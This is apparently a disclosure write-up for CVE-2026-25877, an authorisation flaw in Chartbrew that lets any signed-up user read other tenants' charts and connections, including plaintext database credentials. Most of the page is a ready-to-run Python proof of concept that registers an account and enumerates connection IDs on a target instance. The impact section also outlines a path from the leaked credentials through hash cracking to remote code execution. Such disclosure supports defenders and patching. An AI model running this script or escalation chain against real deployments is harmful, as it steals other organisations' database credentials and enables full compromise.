Grandmaster rank emblem

Lvl 99

Level XP3,807/5,718

3807 of 5718
Grandmaster dreadnaught
CVE
CVE-2026-25877
Product
Chartbrew
Fixed in
4.8.1

Chartbrew's chart and connection endpoints authorise by checking that the caller owns the team named in the URL, but never check that the requested resource ID belongs to that team. Any authenticated user (signup is open by default) can read, modify, or delete any chart or connection on the instance by iterating IDs.

Root cause

The handler loads the resource by primary key and runs the action without re-validating ownership against the caller's team, so the team ID in the path is decorative:

GET /team/{ATTACKER_TEAM_ID}/connections/{any_id}
→ 200 {"connectionString":"mongodb://admin:S3cr3t@prod-db:27017/finances"}

Impact

Connection objects store database URIs in plaintext, embedded credentials included. Enumerating sequential connection IDs harvests every tenant's database credentials. Confirmed cross-tenant read / modify / delete on charts and read with credentials on connections.

The leaked URI is frequently an admin's, making the IDOR a bridge to full compromise: dump the users collection, crack the owner's bcrypt hash, authenticate as the team owner, then reach RCE via CVE-2026-25888 or CVE-2026-25887.

Fix

4.8.1 adds a per-resource ownership check: the loaded resource's team must match the caller's.

PoC

Registers an account, reads its own team ID, then enumerates connection IDs and prints every leaked connection:

#!/usr/bin/env python3
"""
CVE-2026-25877 — Chartbrew IDOR: Cross-Tenant Connection Credential Leak
=========================================================================
Authorization checks on connection endpoints validate team_id but not connection_id.
An attacker can enumerate all connections on the instance and leak plaintext credentials.

Usage:
    python3 idor-25877.py http://TARGET:4019 [max_id]
"""

import requests
import sys
import time
import json


def main():
    target = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:4019"
    max_id = int(sys.argv[2]) if len(sys.argv) > 2 else 50

    print(f"CVE-2026-25877 — Chartbrew IDOR Credential Leak")
    print(f"Target:   {target}")
    print(f"Scanning: connection IDs 1-{max_id}")
    print("=" * 60)

    headers = {"Content-Type": "application/json"}

    # Register
    ts = int(time.time())
    email = f"idor_{ts}@x.com"
    print(f"\n[1] Registering as {email}...")
    r = requests.post(f"{target}/user", json={
        "name": "scanner", "email": email, "password": "Id0rSc@n!"
    })
    token = r.json().get("token")
    if not token:
        r = requests.post(f"{target}/user/login", json={"email": email, "password": "Id0rSc@n!"})
        token = r.json()["token"]
    auth = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
    print("    OK")

    # Get our team_id
    r = requests.get(f"{target}/team", headers=auth)
    team_id = r.json()[0]["id"]
    print(f"[2] Team ID: {team_id}")

    # Enumerate all connections via IDOR
    print(f"\n[3] Enumerating connections...\n")
    found = 0
    for cid in range(1, max_id + 1):
        r = requests.get(f"{target}/team/{team_id}/connections/{cid}", headers=auth)
        if r.status_code == 200:
            conn = r.json()
            found += 1
            name = conn.get("name", "?")
            host = conn.get("host", "?")
            db = conn.get("dbName", "?")
            ctype = conn.get("type", "?")
            projects = conn.get("project_ids", [])
            print(f"  [{cid}] {ctype} | {name}")
            print(f"       host: {host}")
            print(f"       db: {db} | projects: {projects}")
            print()

    print(f"[*] Done. Found {found} connections across all tenants.")


if __name__ == "__main__":
    main()